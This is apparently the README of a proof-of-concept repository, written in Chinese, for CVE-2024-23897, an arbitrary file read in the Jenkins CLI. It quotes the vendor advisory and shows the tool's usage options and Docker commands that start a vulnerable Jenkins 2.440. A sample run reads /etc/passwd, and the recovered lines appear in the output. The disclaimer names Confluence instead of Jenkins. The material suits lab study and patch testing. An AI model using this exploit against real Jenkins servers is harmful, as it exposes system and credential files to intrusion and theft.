此仓库提供了 CVE-2024-23897(由 SonarSource 发现)的概念验证代码。
此代码是该漏洞的概念验证,我并不鼓励任何人将其用于他们不拥有的 Confluence 实例。
此工具仅用于研究和教育目的,我不会对您使用它所产生的任何后果负责。
根据 Jenkins 安全公告 2024-01-24:
Jenkins 在处理 CLI 命令时,使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。该命令解析器有一个特性,可以将参数中的 @ 字符后跟文件路径替换为该文件的内容(expandAtFiles)。此特性默认启用,且 Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本未禁用该特性。这使得攻击者能够利用 Jenkins 控制器进程的默认字符编码,读取 Jenkins 控制器文件系统上的任意文件。
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)